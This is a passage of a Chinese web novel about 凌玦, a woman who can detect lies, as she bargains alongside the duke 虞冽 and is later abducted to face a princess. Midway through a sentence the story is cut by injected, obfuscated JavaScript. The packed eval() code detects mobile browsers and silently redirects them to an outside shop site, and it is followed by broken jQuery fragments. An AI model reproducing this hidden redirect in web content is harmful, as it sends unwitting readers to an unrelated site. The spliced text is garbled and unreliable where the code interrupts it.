虞冽亦注意到了对面房间的情况,一个异域装扮的中年男子走进房中,和原本就在房内的人寒暄了两句之后,立刻皱起眉头,紧锣密鼓地商讨起来。
这两间房经过特殊设计,看似和对面离得极远,却能从此处清晰地听到对面房内的每一句话。
“怎么样?”虞冽侧头问向凌玦,“这胡商可透了实底?”
凌玦饮了口果酒,轻咂摸了下,道:“这么说吧,这老头儿从进门开始,说的唯一一句实话,就是夸这房内的侍女长得水灵。”
虞冽的脸色未变,但握住酒盏的手指微微捏紧了几分,“你确定?”
凌玦轻笑:“国舅爷若是不信我,何必跟我在这儿浪费时间呢?”
“自然不是,苏娘子多虑了。”虞冽随即转头叫来一个侍从,在他耳边低语了几句。
那人出去后不久,对面房间的房门被敲开,将原本在房内的人叫了出去。
片刻,那人回房,同那胡商报了一个新价,却见那胡商的脸色明显一僵,似是没想到对方居然看透了他的底价。
胡商亦报了一个新价,虞冽转头看向凌玦,却见她再度摇了摇头。
侍从就这样在两房之间又跑了三次,在胡商第四次报价后,凌玦终于点了头。
两方商讨了片刻,在胡商极为不满的目光中,终于以比原先低了三成的价格成交。
虞冽合上了窗户,赞道:“苏娘子果然高明。”
凌玦并未因此而多出几分喜色,只掐算了两下,公事公办道:“算下来帮你省了五千七百六十两,说好了五五分,那就是两千八百八十两,堂堂国公可不能赖账。”
虞冽轻笑了声,随即递给凌玦一个锦囊:“这里面是三千两银票,苏娘子收好。”
“国舅爷大气,”凌玦也不客气,坦然将银票收下,准备起身离开,“下次还有这种活儿记得找我。”
“苏娘子只靠着寥寥数语,就能赚上三千白银,虞某甚是羡慕啊。”虞冽突然出言,似是不愿就这样放她离开。
“国舅爷这是后悔了?”凌玦脚步一顿,回首看向他,目光隐含讥讽,“若是想要收回,倒也不是不行。”
“既然已经给出,哪里还有收回的道理。”
虞冽直直盯着她,“虞某只是觉得,苏娘子有此等本事,只局限在此处却也可惜,正好最近手头的事有些棘手,不知苏娘子可愿帮虞某一个忙?”
凌玦坐了回去,饶有兴味地撑起下巴,反客为主,直视着虞冽那双深邃的眸子,“国舅爷不会是真的想‘立业’吧?”
“苏娘子说笑了,”虞冽的眸光微闪了闪,“众人都当我这位置看着光鲜,其实我也是腹背受敌,如履薄冰罢了。”
“富贵险中求嘛,”凌玦没有理会他刻意卖弄的可怜,“没有你这地位,谁敢跟胡商做这么大笔的马匹生意呢。”
“虞某就喜欢和聪明人说话,”虞冽看向她的眼神锐利了几分,“所以敢问苏娘子,究竟肯不肯帮虞某这个忙呢?”
“我这里没有帮忙,只有生意,”凌玦耸肩,“既然是生意,就得按生意的规矩来。”
“五五?”虞冽摇了摇头,“但是此事不比一般的生意,倒是难以衡量究竟有多少收益。”
“没关系,”凌玦笑着用目光指了指窗户的方向,“你也报个你的底价就行,这事我熟。”
虞冽一副受伤的神情,“苏娘子,咱们毕竟有几分交情,这样岂不显得太过生分?”
凌玦却道:“总之你和胡商是做生意,我和你也是做生意,也没什么区别。”
虞冽忽地一笑,“这样算来算去太过麻烦,不如苏娘子嫁与我做娘子,这样虞某的就是娘子的,也算是五五分了。”
凌玦冷眼抱臂,“国舅爷怕是忘了,跟我撒谎可是会被看穿的。”
“是虞某唐突了,”虞冽倒也不见被拆穿的窘迫,“不过此事牵连甚广,报酬究竟几何,虞某还需再衡量一番。”
凌绝点点头:“理解。”
“苏娘子就不问问是什么事?”虞冽好奇反问。
“没必要,”凌玦起身,“太阳底下能有什么新鲜事呢,人心所求不就那么几样。”
“苏娘子通透,”虞冽亦跟着她起身,“总之今日事了,不若让虞某送娘子回府?”
凌玦上下打量了他一眼,点点头道:“也好。”
国公的马车确实更加宽敞奢豪,凌玦倒也不怎么见外,自己挑了个看起来最舒适的位置坐下。
虞冽却并未跟她一起坐进车厢,而是带着随从骑马缀在一旁。
凌玦本在闭目养神,突然间,她倏地睁开双眼,掀起窗上的小帘,却见眼前闪过一道森寒的刀光。
执刀的侍从见她发现,忙将那匕首的刀锋一转,藏回身后。
凌绝轻嗤了声,扫了眼虞冽,“国舅爷,求人办事,又怕遭到反噬,这般犹犹豫豫,可成不了大事啊。”
虞冽冷脸看了眼那侍从,随即转头对凌玦一笑。
“苏娘子误会了,此事并非由我授意,下面的人自作主张罢了。”
侍从忙道:“公爷,此人身上古怪之处甚多,怕是个妖邪之物,您当真要让她参与那事吗?”
“我若真是妖邪,你以为用这玩意儿就能杀了我?”凌玦用目光指了指他的身后,含讥带讽,“我一个元神出窍,再换个人皮壳子,来找你报仇你也认不出我啊。”
侍从更是深信不疑,“公爷!你看她果然是妖邪,这等借尸还魂的套路都能脱口而出。”
“行了!”虞冽的语气一凛。
侍从缩起脖子,可仍有些不服气,低声道:“就算她不是妖邪,就算她真的有鉴人所言真假的本领,可她若是刻意不同我们说实话,我们也无从得知,说不准她就是用这种手段来蒙骗我们呢。”
“苏娘子不会。”虞冽立刻道。
“你说得没错,”凌玦却对那侍从赞同地点了点头,“还算是有点脑子。”
“公爷,你看我说什么来着?”侍从得到认可,有些兴奋。
“闭嘴。”虞冽转头轻斥。
凌玦继续道:“我能鉴人谎言,你们却不知我所言真假,所以是你有求于我,我却又不受你们所控,这交易本就没那么多公平可言,你若是不愿,大可不与我做这交易。”
虞冽顿了顿,问道:“苏娘子,若是我们不同你做这笔买卖,你会和别人合作么?”
“难说啊,”凌玦为难地摇了摇头,“这要看别人的出价了。”
虞冽半是玩笑道:“苏娘子若是这般行事,虞某只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711834|144592||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怕不能轻易放你走了。”
凌玦无所谓道:“你当然可以啊,不过强留我和我自愿合作,那就是两回事了。”
虞冽哂笑了声,道:“苏娘子倒是胆大,也不怕我这手下一个不慎,我又疏于管理,以致酿成大错。”
凌玦却道:“国舅爷才是胆大呢,我顺应天命主动相帮,你却要对我下手,逆天而为,可要考虑清楚后果了。”
“主动相帮?”虞冽抬眉,“苏娘子难道不是为了银子同我做交易么?”
“是也不是,我说过,我给的好处一般人也接不住,”凌玦给他投去一个肯定的眼神,“不然我当初也不会特意等你了。”
“等我?”虞冽忽想起那日在客栈中,她确实是提前就候在堂内,待自己出现之后才回房的。
“可你怎么知道我那日会去?”
凌玦意味深长地笑了笑,随即将那小帘放下,“国舅爷,天命助你,势不可挡啊。”
“好。”半晌,车外传来一声轻轻的应和。
*
“快快快!就是她,赶紧把她带走!”
凌玦还在布庄门口,对着那几匹花色相近的锦缎犹豫之时,身后突然蹿出了几个壮实的妇人,将她的左右手牢牢钳住,随即将她掳上了一辆马车。
有路人聚集起来,对着马车指指点点,那老妇挥着双臂驱赶道:“各位别看了,是我们家媳妇偷跑出来了!都是家事,没什么好看的!”
众人听了这话,恍然大悟地哦了几声,又交头接耳了几句,很快便又四散开来。
“老实点儿!别想着跑!”老妇坐在车门旁,对着凌玦冷眼呵斥。
“没想跑啊,”凌玦打了个哈欠,摸了个软垫靠着,“有车坐谁还要跑啊。”
这两日盛黎身体不适告了假,凌玦今日闲得无趣,便独自出门转了转,没想竟碰上了这些人。
不过细想来,这帮人估计也盯了她许久,好不容易等到护送她的镖师不在,才终于找到机会下了手。
“哼,看她也没什么姿色,定是有些上不得台面的狐媚功夫。”凌玦左边的妇人倨傲地打量着她。
“这些小门小户出身的就是如此轻浮做派,有些东西是留在骨子里的,任凭她穿得再光鲜都去不掉,如何能和我们主子相比。”凌玦右边的妇人轻啐了声。
坐在门口的妇人显然比那两位地位更高些,此时冷脸发了话:“我们主子也是她能比的吗?你们说话注意些,别口无遮拦。”
那二人立刻诺诺应声:“是。”
凌玦歪头,好奇道:“你们主子是谁啊?”
门口的妇人瞪了她一眼,“没让你说话就别说话!我们主子金尊玉贵,岂是你能窥探的?待会儿见了她你最好老实行礼,不然有你好受的。”
凌玦轻笑了声,“是么?”
“那还有假!你有机会见她一面,是你的福分!”
半晌,马车终于停下,凌玦被那两个妇人再度钳下了马车,将她押至一间熏香扑鼻的厅堂。
坐在主位上的,是个翠绕珠围的贵妇,在金石玉器的光芒灯火辉映之下,连她的面目都有些模糊了。
“公主,人已经带到了。”
那公主凤眸一抬,盯着凌玦冷笑了声:“就是你一直缠着阿冽?”